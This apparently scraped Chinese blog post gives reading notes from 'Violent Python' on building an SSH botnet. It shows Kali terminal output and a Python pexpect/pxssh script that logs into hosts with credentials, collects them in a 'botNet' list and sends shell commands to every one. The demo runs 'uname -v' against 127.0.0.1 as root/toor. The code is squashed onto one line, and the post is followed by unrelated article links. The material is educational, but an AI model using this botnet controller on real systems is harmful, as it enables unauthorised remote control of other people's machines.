Python绝技读书笔记之构建SSH僵尸网络
来源:互联网 发布:淘宝上怎么买定额发票 编辑:程序博客网 时间:2024/05/18 11:11
root@kali:~# /etc/init.d/ssh start
[ ok ] Starting ssh (via systemctl): ssh.service.
root@kali:~# ps -e | grep ssh
1452 ? 00:00:00 ssh-agent
[ ok ] Starting ssh (via systemctl): ssh.service.
root@kali:~# ps -e | grep ssh
1452 ? 00:00:00 ssh-agent
3522 ? 00:00:00 sshd
# -*- coding: utf-8 -*-
import argparsefrom pexpect import pxsshclass Client(): '''定义一个客户端''' def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() '''连接''' def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] Connecting Failed') '''发布命令''' def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before'''获取个体,并加入botNet名单中'''def addClient(host, user, password): client = Client(host, user, password) botNet.append(client)'''对僵尸网络发布命令'''def botnetCommand(command): for client in botNet:# 在僵尸网络中遍历每一个个体 output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + str(output) + '\n')botNet = []addClient('127.0.0.1', 'root', 'toor')botnetCommand('uname -v')运行结果:
阅读全文
0 0
- Python绝技读书笔记之构建SSH僵尸网络
- Python-黑客-004 用Python构建一个SSH僵尸网络-02 手动与SSH交互
- Python 黑客 004 用Python构建一个SSH僵尸网络 01 简介
- 2-用Python搭建一个SSH僵尸网络
- 网络编程之僵尸进程
- python绝技
- python 绝技
- 僵尸网络
- 僵尸网络
- 《构建之法》 –读书笔记
- 【读书笔记】《构建之法》第一章
- Python绝技笔记--------python操作注册表来获取之前连接的网络信息
- 葵花宝典之绝技
- JS之歪门绝技
- 僵尸网络研究系列文章之二 设计自动识别系统
- 僵尸网络病毒之BotNet扫盲、预防及清除
- SSH项目构建之菜鸟探究
- 七、tensorflow之构建网络。
- Git的基本配置
- 9.17----对《暗时间》的随笔
- SVN分支管理以及跨分支打包
- HDU
- oracle部分函数
- Python绝技读书笔记之构建SSH僵尸网络
- Java中的3中注释
- 第三周项目4顺序表应用2 删除元素在[x,y]之间的所有元素
- 接口和抽象类的区别
- 【莫队 or 离线+树状数组】BZOJ1878(SDOI2009)[HH的项链]题解
- 1021. 个位数统计 (15)--PAT乙级
- MAVEN异常:Check $M2_HOME environment variable and mvn script match
- 版本更新简单实现
- 输入框显示到下面.